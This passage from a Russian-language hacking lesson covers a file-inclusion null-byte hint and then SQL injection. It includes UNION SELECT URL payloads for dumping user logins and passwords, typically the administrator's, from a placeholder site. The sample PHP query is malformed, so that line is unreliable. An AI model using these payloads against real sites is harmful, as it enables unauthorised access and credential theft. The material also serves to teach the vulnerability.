Как видишь используется функция include() к имени прибавляется расширение .php, значит нужен NULL byte, к томуже мы узнали расположение текущего сценария (/home/httpd/htdocs/sportstalk/page.php).

SQL injection
На прошлом уроке я обещал подробнее рассказать про уязвимость SQL injection, этим мы сейчас и займемся.
Во первых разберем небольшую иерархию.

База данных
Таблица
Столбец
Поле

На примере это выглядит так:

База данных onlineshop
Таблица onlineshop.users
-----------------------
| Login password |
------------------------
Stas 123456
Misha 123456
Maxim 123456
Roma 123456
------------------------

Что сдесь что?:
Login password это столбцы. Имена пользователей и пароли это поля. Вот собственно и все. А вот так составляется запрос в php:
…………..
$q=”SELECT * FROM USERS where login=$login password=$pass”
…………..
Во первых

SELECT – выбирает данные из таблицы

Where – задает условие, т.е. в нашем случае нам нужно выбрать данные с определнные логином и паролем.
Вот собственно и ошибка. Если подставить $login или $pass не фильтруются, то появляется возможность выполнять SQL команды.


Теперь конкретно как мы это делаем:
Допустим где то на сайте нашли ниъекцию:

www.site.us/sql?id=1’

Далее мы подобрали что столбцов 6:
Активные 3,4

www.site.us/sql? id=1’+union+select+1,2,login,password,5,6+from+onlineshop.users /*

Это покажет нам аккаунт первого пользователя. Как правило таковым является администратор. Если нужно выбрать конкретного пользователя поступаем там:

www.site.us/sql?login=1’+union+select+1,2,login,password,5,6+from+onlineshop.users+limit 1,2 /*

Так выбираем 2 пользователя.
Замечу что знак пробела мы заменяем символом +. А знак /* означает комментарий. Значит после этого знак весь ненужным запрос будет обрезан.
И еще – допустим с помощью order by мы подобрали кол во столбцов.
Делаем так:

www.site.us/sql?id=1’+union+select+1,2,3,4,5,6/*

По идее мы должны увидить читабельные столбцы, но бывает, что вывода не проиходит.
Тогда нужно поступать так:

www.site.us/sql?id=-1’+union+select+1,2,3,4,5,6/*


Послесловие:
Ну вот.
Советую получше изучить mysql и php, а также как они взаимодействуют друг с другом.
На следущем уроке мы будет разбирать реальный сплоит. Также я расскажу про ReversIP. Покажу несколько инструментов, которые пригодятся при взломе. Так же мы будет продолжать знакомится с уязвимостями.
Я расскажу что такое обход фильтрации в xss В разделе про PHP include мы будем разбирать как читать и
использовать в своих целях логии apache. Еще мы конечно же будет подробнее изучать скуль инъекции. Покажу опять же обход фильтрации и особенности 5 ветки mysql
Ps в комментариях прошу не флудить. Лучше задавайте вопросы по статье.
Несколько бесплтных хостингов с поддержкой php
www.yard.ru
www.holm.ru/?p=34880
www.hostland.su/
www.hut.ru/

Бесплатный хостинг uCoz